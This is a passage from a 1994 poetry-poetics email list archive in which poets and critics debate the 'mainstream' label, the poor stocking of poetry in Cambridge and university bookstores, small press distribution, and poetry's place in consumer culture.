has any access to how they went down?

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21. Tom Mandel
mainstream
Thu 4 Aug 1994

"and it's ever-present everywhere
and it's everpresent every-ware

warm love
warn love

yes it's evry present everware"

Van Morrison
on Hardnose the Highway

Of course, tsking at the Cambridge bookstores, Hank Lazer, whom I now presume cavalierly to speak for and interpret as you see, was expressing what many-a-one, alonesome in a new town, might feel -- a longing for familiarity and the sense that in some related way her human mark was here already. A welcome. Like you get here.

tom

↑ Index

22. Marc Nasdor
Re: e-mail
Thu 4 Aug 1994

Hank Lazer writes:

> *Leaves me wondering how such control*
> *can be so "perfectly" managed in Cambridge in poetry? I've come to*
> *expect such "control" in the chain bookstores....*

I would propose that one cannot have it both ways, to criticize the academy and then expect it to offer its support. Just because there happen to be a few enlightened poets and scholars in a few literature departments doesn't mean the literary world has somehow reoriented itself. In fact, the protectors of "official verse culture" never disappeared, never stopped treating as anathema the "language" writers, NY School, beat writing, etc. So it doesn't surprise me that one might find individuals with the aforementioned attitudes among those responsible for stocking Boston's poetry stacks.

Marc Nasdor
[redacted]

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23. Michael
Re: e-mail
Fri 5 Aug 1994

In response to the tiger barb's deconstruction of the tired "mainstream" metaphor, I say:

Ditto...with a little less acid.

Or, to quote Hank Williams, "If I jumped in a river, I'd probably drown."

Reporting from the mainstream of America--Georgetown, Kentucky--where even an "official verse culture" sounds promising...

Michael Campbell
Dept. of English
Georgetown College
Georgetown, KY 40324

[redacted]

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24. Michael
Re: e-mail
Fri 5 Aug 1994

Marc Nasdor writes:

"I would propose that one cannot have it both ways, to criticize the academy and then expect it to offer its support."

To which I respond:

Why not? As far as I can tell, the strategy has worked pretty damn well for quite a few poets and "schools" of poetry. If I can pick up books by David Antin, Charles Bernstein, Susan Howe and Michael Palmer at the University of Kentucky bookstore--as I did a few weeks back--what does it matter that Harvard--in many ways the "official verse culture" incarnate-- fails to stock certain "out of the mainstream" poets? I should be so marginalized.

Stagnantly yours...

Michael Campbell

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25. Jorge Guitart

Re: e-mail

Fri 5 Aug 1994

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harvard bookstore
carries the nothing that is
happening

↑ Index

26. Peter Larkin

Puffery

Fri 5 Aug 1994

Prest Roots Press (Kenilworth UK.)

The following titles can be ordered in dollars via: Paul Green,83B London Road, Peterborough, PE2 9BS UK (making cheques out to "Paul Green"). They will then be shipped to you direct from the publisher.

Prest Roots Press was begun in 1987 to bring together innovatory British poetry and fine (not "crafty") hot-metal printing techniques at prices for readers rather than collectors. More recently, a subseries called "Prest Roots 2" has been launched on offset for readers who have no hope of being anything other, though the texts still remain quite collectable. The main series still continues, though its delays are finer than ever.

Letterpress Series:

Thomas A Clark Dwellings and Habitations 1 871237 10 6 $12.00

J.H. Prynne Word Order 1989 1 871237 04 1 $15.00

Paul Green Comparative Daimon 1990 1 871237 05 X $13.50

D.S. Marriott Airs and Ligatures 1990 1 871237 07 6

Peter Larkin Pastoral Advert 1988 1 871237 02 5 $15.00

Peter Larkin Scarce Norm Scarcer Mean 1992 1 871237 08 4 $15.00

Simon Lewty Cradles of the New 1994 1 871237 12 2 $19.50

Alain Delahaye (Trans Anthony Barnett) The Lost One 1 871237 03 3 $15.00
Peter Riley Sea Watches 1990 1 871237 $15.00

Prest Roots 2 (Offset)

Peter Larkin Additional Trees 1992 1 871237 09 2 $6.00

Simon Smith Night Shift 1994 1 871237 11 4 $6.00

John Wilkinson Chalone 1994 1 871237 13 0 $9.00

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27. Marjorie Perloff
Re: e-mail
Fri 5 Aug 1994

Re: the Harvard controversy. It's been my experience that the tonier the university, the less likely it is to have any interest in poetry, art, etc etc. that isn't absolutely mainstream. It goes with the territory and Hank is quite right. I think of John Cage who was a hero in places like Knoxville College but scorned at Yale and Harvard. it shows little has changed.

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28. kat
Re: e-mail
Fri 5 Aug 1994

ditto on the eccentricity of poetry to power-lunch universities. Just a note and query, though. How about Grolier Bookshop? It's been a time since I was there, but Louisa Solano, who does have to survive in the tight confines of course lists, did make an effort to keep some books up. What's the current verdict?

Also, poetry happens in places and ways that escape our grasp. It might even be the case that poetry that we know not to advance the art, craft, idea that we'd like has a positive function. The one Holy and Apostolic Canon, represented by representatives at Harvard, etc., should not inspire us to erect counters that simply serve the same exclusionary function. I say this badly and with too much wind, but what I mean is that, like those bad paintings in houses across USA that became WCW's metphor for his metaphorics, poetry of the street, church, classroom, and computer has place. Perhaps idling by the shore

of poluted rivers. From Detroit, where one has the confluence of many streams, hello.

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29. Mn Center For Book Arts
bookstores & the lack thereof
Fri 5 Aug 1994

I am somewhat surprised at any naivete regarding bookstores. I have thought for a long time that there might be four or five in the whole country which have a varied selection of poetry which would include small presses to any but a marginal degree and would include innovative (OK, that's as misguided & loaded a word as mainstream) work at all. I was, in fact, pleased & knocked off my feet when I moved to Minneapolis a year ago and found that Hungry Mind Bookstore in Saint Paul actually had Chax Press books (several of them). Still, to my mind that bookstore has its own limitations. My measure in poetry is certainly Woodland Pattern in Milwaukee, which is, I believe, unequalled. Yet I applaud all those who are trying in this area. I am surprised & pleased to find from the correspondence on this forum that I may have to add the University of Kentucky bookstore to my short list. Maybe there is a chance . . .

reading & wandering the aisles,

charles alexander

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30. Michael Campbell
Re: bookstores & the lack thereof
Fri 5 Aug 1994

Sorry, I wasn't recommending the University of Kentucky bookstore for any "short list"--it's selection is spotty at best. I was just pointing out-- as everyone is all too aware, I'm sure--that what bookstores stock is often unpredictable and that Harvard's "mainstream" bias is hardly surprising.

↑ Index

31. David Hannah
clown barb et al.
Sat 6 Aug 1994

as the wag muttered / re: his position as he saw it /

"i'm in the eddies of the gush" /

familiar?

↑ Index

32. Jed
Re: e-mail
Sat 6 Aug 1994

The Harvard Coop's choice in books is not to be marveled at--it's just another big bookstore that's gone the way of nearly all university bookstores: it sells books as a front for more lucrative merchandise (coffee mugs, beer steins, pretzel dishes, sweatshirts, even a sizeable CD & tape section); and its select ion of poetry is exactly what you'll find in any commercial outlet that stocks its shelves by way of the nearest jobber (wholesale).
What *is* disturbing in Cambridge is that the Grolier, which really did use to be a place to score fetchingly reclusive small press (& often out of print) items, seems to have been converted almost entirely to the trade publishing/university press matrix. I discovered this when I went back in 1991 (after not having been around the Cambridge area in six or seven years), later thought it might've been an anomaly, so when I was there last summer checked again: both times found *nothing* on the shelves by _____ (you name it: nobody from "In the American Tree," for starters--well, maybe "The Nonconformist's Memorial" was in there last year, since Grolier does get New Directions...)
--but how to take this? Does it mean an establishment shutout? Or might it rather be that the post-New American Poetry/Language poetry nexus so efficiently developed its own means of production & distribution during the 1980s that it doesn't need the support of Grolier & other "poetry" bookstores?
--Jed Rasula

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33. Don Byrd
Poetry & book stores
Sun 7 Aug 1994

When Barnes & Nobles and Border's put stores into Albany, the store that passed for our "literary" store folded. It had a small gallery, made space for readings, performances, and so forth. It was a pleasant community place (and three blocks from my house).

The owner of that store once told me that the poetry section produced more browsers and fewer buyers than any other section of the store. People would stop by the poetry books, read a poem or two, and go on to Literary Criticism, Women's Studies, etc.

The sad fact is that B&N's and Border's have _better_ poetry sections than the old Boulevard Book Store. They have better facilities for readings, etc. (And

they give teachers 20%-25% discounts.) The problem is that, if books are not available from their distributor, they tell you that they are out of print. Thus, all small press books and many university press books are 'o.p.'

In one way this should be cause for considerable celebration. Serious poetry has disappeared from consumer culture.

It is interesting that this should happen at precisely the time books seem to be having a great resurgence. The two new bookstores in Albany are wildly successful. They are open until 11 p.m., everyday. I have had to stand in line at the check-out at 10:30 on sunday night.

B&N is marketing itself as a pick-up place: full page ad in the local paper with bombshell beauty in horn-rim glasses reading Nietzsche (shelves of books in background), "I met the nicest person in philosophy! (Nietzsche or CEO in training?) There is a rumor that they are having a single's night, but I have not been able to confirm this.

In all honesty, how much poetry do the subscribers to this list buy? Most of the poetry I read is given to me. Much of the poetry that is most important to me is first given to me in xerox.... I would guess that no more than 5% of the money I spend on books is spent on poetry.

Don Byrd

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34. keith tuma
Re: clown barb et al.
Sun 7 Aug 1994

Marjorie is right that, historically, the so-called elite institutions have been slower to respond to so-called innovation in the arts, though I'm not sure that this applies across all institutions and "disciplines." The provinces have always wanted and had to work harder to seem to be "up to speed," which is one thing that marks them as "provincial." And Jed is right that the failure of many bookstores to stock alternative and small press titles--there are some exceptions I know of, in Portland, Chicago, New York, etc.--must be understood not just as a cause for but also as a result of the small success of lp and other groups in creating alternative networks (SPD of course, but listservs like this have potential). But the tiger barb never wanted this to be a chat about bookstores; that "flaming" was rather directed at the posturing which so often is a rhetorical strategy in the self-appointed avant-garde, and sometimes is worse than that, resulting in delusions of grandeur. We are not "enlightened," for instance, just because we read, teach, or write on language poetry or whatever. We've just signed on to one aesthetic (politics, etc.) among

many. To use a word like "mainstream" casually--or, worse, as if it means something as undefined and unexplored as it usually is --is just to pose or to assert some (illusory) power. Perhaps it also forges community-- one uses the caricature and joins the club, as it were. Now, no one wants to deny that there is a whole lot of terrible work being published by "big" (really just "bigger") houses and promoted at Iowa or whatever. But there are also talented writers among the so-called "mainstream," many of whom are completely ignored by the alternative scene, which prefers to create bogeymen. This seems to me particularly true of the academic poetry critics and scholars. Look at journals like ALH or Contemporary Lit or American Literature over the last few years. Count the essays on lp, or on the lineage lp would construct for itself (Zukofsky, Oppen, Stein, etc.) For that matter count the number of lp writers now publishing with major academic presses or employed by good universities. This is not a bad thing, it seems to me-quite the contrary-- but it does indicate that we must be careful about blunt, self-serving caricatures. Am I supposed to believe that would-be lp poet number 709 is more interesting than--oh I don't know, Thom Gunn or Jim Powell or Roy Fisher-- just because he or she is proud to announce one way or another that he or she is not stylistically or (sub)professionally a part of "that" world? When will the so-called avant-garde crawl down off its antiquated donkey and begin thinking about and writing about poets as individuals? There is considerably more sophistication out there than we're sometimes led to believe. And the old binaries--"mainstream" and "alternative," you name them--no longer obtain, or , rather, they are transparently falsifying rhetoric without careful delineation and definition. bernadette mayer says in a recent interview that "it's important to like all kinds of poetry" (more on this is the next Sulfur) and--while I am not willing to go that far, want to be able to say instead "all good poetry"--she has a point. Moreover, she indicates one way out of the corner the self-styled avant-garde is perpetually in danger of painting itself into. That is, one can forge alliances that cross traditional boundaries. If the so-called "mainstream" ignores you, don't ignore it, and don't be predictable in your response to its products.

i could go on, but it's indescribably boring for me to go on in this mode of discourse when I said it all better by "flaming." My gratitute to those who have responded with a little flair, a little panache.

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35. Mn Center For Book Arts

Re: e-mail

Sun 7 Aug 1994

Jed, I seem to remember getting a message from the Grolier Book Shop sometime in the 1980's, probably the mid-80's but perhaps even a year or two

earlier than that, as a producer of small press (even hand printed, limited edition) books that they once bought, that they were beginning to get their books only from distributors (my assumption was that they were streamlining the business & not giving particular attention to presses any more), & perhaps that the main distributor for small press was going to be Inland Books (although my memory is fuzzy on this). As you may know, though, this would mean they would lose 90 or better % of small press lit books they were getting, & certainly almost all that would be far from the MFA programs' A List. I don't think I've had an order from Grolier since then, but the question would be a good one for Steve Dickison at Small Press Distribution or James Sherry of Segue Distribution (which is missed).

all best,
charles alexander

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36. Joe Amato
clown barb et. al...
Mon 8 Aug 1994

---

keith, just a friendly amendment to what you've writ, with which i am in essential agreement...

the "mainstream," i think, whatever one means by same, however multifarious, however much a straw---entity, is nevertheless a pretty cranked up media scene, in terms of money and distribution etc, relative to, say, benjamin's day... and i cite benjamin simply because he makes his way into so much 'mainstream' criticism these days...

by which i mean to say that there are nasty aesthetic connotations to 'mainstream' with which i might concur, but that in general i think of this category more in economic-demographic, as opposed to aesthetic, terms... anything can make its way there, good bad what have you... but if one *plays* to it, well---could result in garbage, aesthetically speaking, i dunno, mebbe not...

if you get my drift...

joe

↑ Index

37. Michael Boughn
Re: clown barb et al.
Mon 8 Aug 1994

Yes, Keith. I don t know who (where) you are out there, but thanks for the swift shot of sanity. It seems we expend (waste) far to much energy policing the purity of the empire(s) of the same, often out of sheer ego- terrorism. Too bad, because poetry often winds up as a cheap accessory in career maneuvers. Another option, or additional mode (to your proposal for a more universal general attention) is more focus on the local in all it s breadth and depth. This is something Diane Di Prima always used to organize when she came through Buffalo--some event where everyone, across the board, got together and read to each other. The surprises were wonderful. (Remember that, Jorge?) I know this is not possible in every physical locality as it is in a place like Buffalo which has a large base of diverse writers, but perhaps it has as much to do with a different attention, a different vision (say, intent) as it does with topos. A lot of the war footing we find ourselves occupied with has to do with ghostly residues of other people s old, left over wars. (Gee, what else is new?) Like, wow, it must have been so cool to have a real enemy you could hate to pieces while bonding like crazy with your buddy over a Lucky Strike in a foxhole. Ah well. Perhaps, sad to say, there is no longer any other use for poetry than maneuvering to be in position to eventually get your own Gap ad: (blank) wore khakis during the great, avant- guarde poetry anthology wars of 94 against the Mainstream. Hey, a hundred grand is nothing to shake a stick at. Or is it?

Best,
Mike

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38. Charles Watts
Re: Poetry & book stores
Tue 9 Aug 1994

People familiar with Lisa Robertson's Proprioception Books, 432 Homer, in Vancouver will be dismayed to hear that as of August 27th, this wonderful bookstore is no longer a place in space. Lisa will, however, continue to sell poetry books on line (if you're interested, contact Lisa at [redacted] before August 27th; I don't have an e-mail address for her). This year, Vancouver will have lost both of the bookshops that have paid particular attention to the writing and reading of poetry over the past decade: Proprioception Books and Renee Rodin's R2B2 Books on West 4th Avenue. Both have folded because their revenue wasn't enough to meet expenses, despite a loyal but, alas, too small following. It's been a hard year for writing and the arts in Vancouver: the

death of Roy Kiyooka in January and the death of Warren Tallman in July, and the demise of the two bookshops which have supported poetry most in Vancouver. Who will take their places?

Charles Watts

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39. Philip Mead

poetics discussion list

Thu 11 Aug 1994

2:18 PM DEPARTMENT OF ENGLISH 11/8/94
THE UNIVERSITY OF MELBOURNE poetics discussion list Hi - my name is Philip Mead and I was wondering if I could sign up for the poetics discussion list I hear you have at Buffalo. I teach poetry and poetics here at the University of Melbourne and am one of the co-editors of the Penguin Book of Modern Australian Poetry.

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40. Loss Glazier

*Question re: _For Love_*

Thu 11 Aug 1994

For a paper I am writing, I find myself a little puzzled by the fact that, according to my information, Robert Creeley's _For Love_ (1962) sold 47,000 copies. The puzzlement occurs for this reason: is that not an _extraordinary_ number of copies for a poetry book to sell? This leads me to wonder what social or other factors might have been at work in the early 60s that would contribute to a poetry book selling such a large number of copies. (I mean, this would be an astonishing number for any of our books to sell today, no?) I feel, though, that I may be overlooking some obvious circumstances or making some obvious blunder in wondering about this fact. I would be grateful if anyone could suggest what I may not be considering or some reference to production factors at the time that I may be overlooking. Thanks, Loss
---------- Loss Glazier [redacted]

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41. Jed Rasula

*Re: Question re: _For Love_*

Thu 11 Aug 1994

Does that figure about 47,000 copies of *For Love* having sold derive from Robe rt von Hallberg's book? (I think he provides figures for Dorn sales too,

which are also impressive). My sense is that that's the figure of total sales over a good number of years--in the case of Creeley, Scribner's kept that book in prin t in that form for, I would guess, nearly twnety years. But ask Bob, surely he' d know if anybody would.

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42. Marjorie Perloff

*Re: Question re: _For Love_*

Thu 11 Aug 1994

For Loss Glazier: Creeley has always been a popular poet, a best seller in Germany--people think he's accessible (though he really isn't accessible in the way people think). Then, too, it's a book of Love Poems so that appeals to the average reader even though again, they're not really love poems. But most important: in the early 60s there weren't so many outlets--there weren't endless small press books and so there was a limited set of books and those might then actually sell. Look into the numbers and you'll see what I mean. Bob von Hallberg's first chapter in his book on Contemp Poetry is good for this. Best wishes, Marjorie Perloff

↑ Index

43. Folan, Bernie

(no subject)

Fri 12 Aug 1994

How can I join this list?

Sorry. I don't have the subscription details.

SUBSCRIBE BERNIE FOLAN

↑ Index

44. hlazer

*Re: Question re: _For Love_*

Fri 12 Aug 1994

Jed & others... regarding sales figures. check out sales for Plath's ARIEL. I recall years ago reading that that one (also from the early 60s) sold well over 100,000 copies. (and then there's Ginsberg's Howl ...)

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45. Steve Evans
plumpe Denken
Mon 15 Aug 1994

Though I've been prevented by a crammed schedule from
actively participating here in the past couple of weeks,
I wonder if I could take advantage of the recent lull
to backtrack a little.

Following what I thought was a brilliant, if acidic,
posting on anthologies on July 31, Tom Mandel wrote a
response--more or less to Nick Lawrence, I gather--on
3 August that said:

"No, we cannot distance ourselves from what we are
within. A master metaphor of subject matter with our
royal selves outside it in consideration is at once
useless and apparently the sole operative in this dis-
course on the net. Geez..."

To the extent that Tom is sharply ("crudely"?) rebuking
theoreticism, I agree. On the other hand, I think the
point invokes a spectre of total absorption that is quite
as false as the glib distantiation it means to discredit.

Our engagements, with poetic practice, with institutions,
with traditions, are more loosely woven than that--or so
it is in my experience; and so the majority of postings
I've read on this list--including the recent admonitions
against caricaturing oneself or one's imagined antagonists
by Keith Tuma / tiger barb--indicate.

It is the porousness of practice that opens poetry to
poetics, that permits posing counterfactual questions in
rotten conditions (how could this condition not be rotten?),
and allows most working people, including graduate students
and professors, to quit their jobs several times a day,
with or without notifying the boss.

But more important than my opinion here is a simple question: what *should*
we be doing, Tom? What would "cut it" ("cut thru to it") in your mind?

It goes without saying that this list has never come near to exhausting the
potential it presents us, though it also goes without saying that we've been
sticking--for no material reason that I can discern--with a model of
"substitution" (of one "topic" for another, e.g.) when the logic of multiplication
seems built into the very form of the forum.

To put it "plumpe": there aren't any legs, so belief in the dog is superfluous.

On a somewhat different tack: I'm still thinking about Don Byrd's claim that "serious poetry has disappeared from consumer culture," and about whether to celebrate or not. I suppose the recent def- ences of the mainstream indicate that at least some people on the list do not agree, but I'd be interested to read further responses.

Finally, and to no specific purpose, from Robin Blaser's "Even on Sunday,"

so to be reminded once again of Puddin'head Wilson: _It was wonderul to find America, but it would have been more wonderful to miss it_

this unified mankind--for that's who's there, quantity or lump, at the end of a materialist's or an idealist's history--_conveived_, Mayer writes, _as a homogenized humanity. Woe to outsiders_

so that was it, was it? an _Enlightenment that promised equality to men and women, including homosexuals_! an age in the hole, running three centuries, surely allows one to say, "Listen, you assholes, a _metaphysical washout_ means you've lost your topsoil"

Plumpe!

↑ Index

46. Clint Burnham

plumpe Denken

Mon 15 Aug 1994

This is partly following Steve Evans comments on Brechtian thinking, and also apropos of the comments on bookstores disappearing from those peculiar hell-holes, American college towns.

Rebukes against theoreticism always seem to be misplaced, 'cause quite often those of us who feel fairly much against overly abstract and non-political formalism are still really part of the culture (generation?) of people educated in the 1980s (say, in North America & Europe, but given the dissemination of post-colonial theory, almost anywhere) that was and is intractably theoretical.

Re Don Byrd's "potry disappearing from consumer culture," I'd be very sad if that happened, but maybe I don't think of them as being very separate. I mean, unless we're talking about precious little handprinted books you can only find in ten places on the planet, poetry as I understand the term is a part of consumer culture even as it sometimes offers critiques and works thru what all these things mean. Quite often, it seems to me, those who pose themselves against consumer culture just mean the more *apparently* commodified worlds of mass

culture. (& not, then, the "consumer culture" of farmhouses, expensive cheese, and thick, handmade sweaters.)

& given that the overdeveloped worlds are increasingly societies of information production and management, education is in some ways the ultimate consumer product: producing discerning (if not "cerned") consumers of culture, ideology, etc.

Nothing like fucking up your unemployment claim to cheer up the day, hunh?

↑ Index

47. Nick Lawrence
Re: plumpe Denken
Mon 15 Aug 1994

Well, after Tom's exasperated boogie I thought I'd let the matter drop, even if on my toes. But Steve's post reminds me that sitting out the dance is not what this list is meant to be about. Another bout, then, for health's sake.

"No, we cannot distance ourselves from what we are within." But Internal Distanciation is my middle name! I've got the ID card to prove it. I'd be lost without it . . .

And on "thinking by substitution": if poets have to relinquish *that* pleasure, then we're truly out to sea without a paddle (so not to speak). Or is drowning in the puddle on which we float our crumpled paper boats our punishment/reward for getting lost in thought?

But I know Tom wasn't thinking *about* metaphor. And Steve seems to refer to something else again when he suggests multiplication rather than substitution as the mode by which discussions might more fruitfully be conducted on the list. Indeed most live lists have multiple threads running simultaneously, with participants switching among the various discussions as they see fit. But with only 108 or so subscribers, what can one reasonably expect.

When the horse itself informs you that it's dead, even the most enthusiastic driver will hesitate, whip in hand; but at the risk of simply adding to the available stock of ennui I'll point out that the anthology discussion, such as it was, began with a consideration (including much worthy griping) of the recent batch of (non)experimental anthologies. It seemed time to reconsider the form and purpose of the thing, to question what it might (& thus may) do. Here's an example: suppose I am thinking, marveling really, about the inescapability of race matters in the poetry of Frank O'Hara, how consistent and unremarked-on this aspect of his work is, how rare, even unprecedented it is among white American poets (of which I'm one--primary context not academic here, though it could be). It may occur to me that the best way to explore this phenomenon is

to compile a selection of such work, see where it goes. The result won't be an essay or a syllabus, though it shares with the essay an exploratory as well as a critical motive; nor will it be an anthology of my favorite flowers. I may or may not end up doing this selection, but it presents itself as possibility-- and I'll always strenuously defend the legitimacy of tarrying in the realm of the subjunctive. "Can we get some air in here?" goes the cry.

More loose threads: I wonder if the plashless disappearance of Mark Wallace's questions re the privacy of power was the result of bored dismissal or silent acknowledgement of their aptness? I didn't see the Alan Sondheim piece MW referred to, but such speculations seem closer to home (the road we're on) than even the railing against standardized critique.

A last example of thinking by substitution:

> The concept of "legislator" must inevitably be identified with the concept of "poet." Since all people are "poetical beings," all are also "legislators." But distinctions will have to be made. "Legislator" has a precise juridical and official meaning--i.e. it means those persons who are empowered by the law to enact laws. But it can have other meanings too.
> --A. Gramsci

Nick

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48. Tom Mandel
Re: plumpe Denken
Mon 15 Aug 1994

Steve,

Of course, when I wrote

> "A master metaphor of subject matter with our royal selves outside it in consideration is at once useless and apparently the sole operative in this discourse on the net"

I didn't mean that this was the *only* place such a metaphor was at work -- viz, in the same posting my characterization of the community of poets as an absolute monarchy where everyone is the monarch.

But, don't imagine me to be "rebuking theoreticism," not much of a labor nor, however pervasive self-imagined theory has become, not really news neither. I was talking about experience, which is a social phenomenon, and thinking/writing which is a social phenomenon as well.

It is a theological task to point out error, and I am a theologian. Of course, one starts with oneself, "telling myself what to do" Kit Robinson calls speaking of the practice in his own writing. Yet, I won't share that with you; instead I'll take Steve Evans to task, despite that his response to my posting makes me happy, i.e. he brings up real issues.

The issue of embeddedness has nothing to do with that of identification, i.e. with one's impression of oneself. Steve writes,

> "Our engagements, with poetic practice, with institutions, with traditions, are more loosely woven...or so it is in my experience"

as if this constituted some kind of response. But, Steve it is exactly not the ex-post-(counter)facto working of your individual mind we wish to find, that condition is in fact exactly where my critique was aimed. There's the subject matter, and here I am saying what I believe I can resume about "it" out of "my experience" (the whole problem lies in those words, doesn't it: "my experience," for how long has that phrase been in use in our language I wonder; not long, I bet).

I'll cite 3 treatments of embeddedness which I think bear on this issue, only one of them from a point of view much in common (i.e. like arrows pointing at each other and about to strike), and I'll leave out what might be the most interesting one to discuss i.e. Jonah.

First of course, the cave. From within the cave we cannot know the cave. How did we get out to where we can know it? Such an enormous epistemology erected on that site, namely Plato's philosophy and the thousands of years of decorative additions. Is it the seventh letter, but by now that is commonly thought a forgery, of P that so distantly extends the metaphors of fire to find a way to create a fire other than that which casts up shadows for us to see, a fire that touches us first, sparks mind to move beyond. I don't find it convincing, however profound.

Spinoza, his arrow point my bullseye since ever I was polysyllabic, in a letter somewhere evokes the stone falling in space, felled by a gravity more universal than any can comprehend, but sensing its own motion, feeling free. He is thinking along that long contact of freedom and necessity, so much thought (i.e. scholasticism) and so little felt.

Finally (and this I may have cited to the list before), in the preface to the Critique of Pure Reason, Kant speaks of a bird soaring effortfully, its wings pushing through heavy air, as it thinks how much more easily it would fly how high it'd rise, if that heavy substance were banished. The bird cannot think the absence of air.

> the porousness of practice ... opens poetry to poetics

No. Practice is not porous, poetry is a witness aiming at uniqueness and exclusivity, the difficulty of whose communication is in the difficulty of the material, i.e. the material act, the practice. Quasi-theoretical terms like porousness/porosity do not help, for porousness is a determinate state too, as fully determinate as opacity, just different. It opens no gap (except between the way things are and what we can allow ourselves to admit of them, i.e. "that steel wall is porous;" the gap between what is true and what is not).

> most working people, including graduate students
> and professors... quit their jobs several times a day,
> with or without notifying the boss.

That's not true, or rather, the difference between telling your boss and not telling your boss is the difference between doing it and just being alienated. Anyone can be alienated; all of literature from the romantics forward presents a pleasant how-to manual. If you have the impression of having quit your job, well... you also "could play dead.../as a means of flirting." (Rae Armantrout)

The world of the individual mind begins when you have an individual mind, when you have "quit your job." The social world begins when you have made effective commitments and it operates among those commitments. You'll never have a loosely woven engagement with anything except so's you imagine the better not to come to consciousness. What's gramsci say? "pessimism of the intellect, optimism of the will." These things are not opposites, but deeply connected like the two sides of a coin pile ou face, the sides of the coin Cary Grant flips in the closing scene of "Only Angels Have Wings." A great film on this very subject, as it happens. Once, when I was young miserable alienated, living in Paris and seeing 3-5 movies a day, that one saved my life -- along with Hawks' other equally great "Rio Bravo."

Please don't imagine that I'm changing the subject. Or that you are either.

Maybe I will write about Jonah one day soon.

tom mandel

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49. Marc Nasdor
Re: plumpe Denken
Mon 15 Aug 1994

Re: Clint Burnham's comments.

Well, I suppose we could simply understand ourselves to be a *nicke market* in the consumer culture. :-)

Marc Nasdor
[redacted]

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50. Mn Center For Book Arts

Re: consuming that poetry soup

Tue 16 Aug 1994

No, you won't find much in the way of poetry at the mall. You also won't find much in the way of poetry at your local university bookstore. And many of us won't find what we want of it at the university library, either. (maybe that's one reason some of us have chosen not to be at universities, but that's a much more complicated question & beside the point).

But yes, it's a part of consumer culture, even if it sells one copy, maybe if it sells zero copies. It is produced within our culture, which is one of consumers. Anti-consumer practices are subsumed within the consumer culture just as anti-intellectual stances are rather common within intellectual circles.

But the flip side to bookstores not carrying poetry is the combination of a lack of knowledge about marketing and a lack of a marketing budget among the few presses still publishing poetry. How many presses take out ads beyond the ones in the back of literary magazines which are also not finding their way into bookstores? How many presses put out catalogues with regularity & send them out widely? How many presses know about the requirements for reviews in Library Journal, Publishers Weekly, and other publications which serve librarians & bookstore owners? If you look at presses which get their books with regularity into lots of bookstores, including the chains, my somewhat informed guess is that they have marketing budgets which equal or exceed their production budgets. If they are nonprofit presses (there are a handful of such with budgets over half a million), they likely have someone on staff who spends a lot more time fundraising than editing or designing. They have to be able to produce books in editions of 2500 (minimum) with regularity (four a year, possibly more) in order to attract distributors which have sales representatives which actually go into bookstores and talk to bookstore managers face-to-face, convincing them to carry the books.

I'm not criticizing the presses. It's somewhere between impossible & extremely difficult to do the work to get to a budget the size which allows any marketing & distribution strategies which work. But it's simply true that without it we won't see the books in the bookstores. I even have a hard time critizing the bookstores. I know they work with extremely small profit margins & simply can't afford to give shelf space to books that don't sell well (meaning that marketing to the bookstores is only one step; there's a public out there, too).

These are only a few reasons why the disappearance of small press distributors like Bookslinger & Segue in the last few years is so devastating. They weren't solving the problem, but they were contributing to the ability to get books to readers.

It might be as useful for users of this forum to talk to people at bookstores you frequent, write them letters, help them find the books you would buy there, and otherwise convince them that they can carry such books & customers like you will support them.

As one who produces books (& not just precious handprinted ones), I can't celebrate a condition in which those books can't reach more than a hundred or so readers.

Sorry to introduce such a mundane note into this often more theoretical forum.

charles alexander

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51. Jed
Re: plumpe Denken
Tue 16 Aug 1994

Re Tom Mandel's skepticism about the presumed primacy of "experience" I have a useful qualification from Gayatri Spivak (who I find almost unreadabily self- indulgent, BUT): "...we are attempting not merely to enlarge the canon with a countercanon but to dethrone canonical *method*: not only in literary criticism but in social production; the axiom that something called concrete experience is the last instance." (OUTSIDE IN THE TEACHING MACHINE, p. 276) Think about how often--at conferences, discussions after readings, even casual conversation --the energy, or the energetic anxiety, of the situation gets dispelled in the brandishing of an Experience Trump: "my" experience, the sanctimonious untouch- able. The canonical experience.

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52. Roberts Mark
Re: POETRY
Tue 16 Aug 1994

Thought people might be interested in the following exchange which has been taking place on the Discussions about Literature list

> *Date: Wed, 17 Aug 1994 09:59:39 +1000*
> *To:Discussions about Literature <[redacted]>*
> *From:[redacted]*
> *Subject:Re: POETRY*

> *In Message Mon, 15 Aug 1994 18:08:20 -0500,*
> *"ALAN C. REESE" <[redacted]> writes:*
>
> *Anyone sample the new CD "Poetry in Motion" which includes text, readings, and interviews with Tom Waits, Gary Snyder, allen Ginsberg, Wm Burroughs, Charles Bukowski & others?*
> *I see it is being offered in the Quality Paperback Book Club and wonder if it's worth the price tag.*
> *Thanks*
>
> *Another CD with poetry on it is called -Sahara Blue-. David Sylvian's voice is on it and Rimbaud provided the texts. It's absolutely beautiful!*
> *Ineke Winnips*
> [redacted]
>
> *A Melbourne based magazine 'Going Down Swinging' released a CD of the late performance poet Jas Duke with its 1993 issue. If anyone is interested I could look up the GDS address and post it.*

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53. Charles Bernstein
mundanity
Tue 16 Aug 1994

Following up on Charles Alexander's "mundane" note, I thought a recent rather mundane, and introductory, essay of mine on alternative presses might, at this point, be of some interest to some of you. The essay is called "Provisional Institutions: Alternative Presses and Poetic Innovation". (I have sent copies of slightly earlier versions to some people on this list already). It's about 15 ms pages and I am posting it as a separate file for those who might want to take a look.

A local note: Buffalo's own Talking Leaves books continues to be the model of the independent bookstore. John Walsh and his virtually collective staff (I suspect this primarily means that John is the last to be paid) have an incredible commitment to new poetry books, as well as just about anything else in book format I have found myself interested in during the past years. You can pick up more information browsing the shelves of Talking Leaves than in possibly any classroom in the US (my own, needless to say, included). In fact, it strikes me

that John knows more about books than just about anyone I know (he also does a great reggae show on the community radio station every Saturday night).

Not only that, but ... Talking Leaves brings the poets books to every local reading we do, stocking the books at the store for months before and after the poet's visit.

One useful turn of events is that SPD, with its essential list of mostly U.S., but also Canadian and UK books, now takes VISA, which makes ordering considerably easier for people from outside the U.S. As I say in my essay, on-line booksellers, like Grist and Lisa Robertson's anticipated reformation of Proprioception, and poetry information servives like Taproot and the UB's Electronic Poetry Center suggest necessary new directions -- not, I'd note, "progress" but rather innovations necessary just to keep up with the changing environment. So it is no surprise that some of the people involved in these new formats are a part of this electronic discussion group.

--This is Charles Bernstein transmitting direct to your screen from just outside the village of Swan Lake in the Town of Bethel, County of Sullivan, State of New York

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54. Charles Bernstein
Provisional Institutions (long post/essay)
Tue 16 Aug 1994

Charles Bernstein

Provisional Institutions: Alternative Presses and Poetic Innovation

> In our period, they say there is free speech.
> They say there is no penalty for poets,
> There is no penalty for writing poems.
> They say this. This is the penalty.
>
> -- Muriel Rukeyser, "In Our Time", The Speed of Darkness

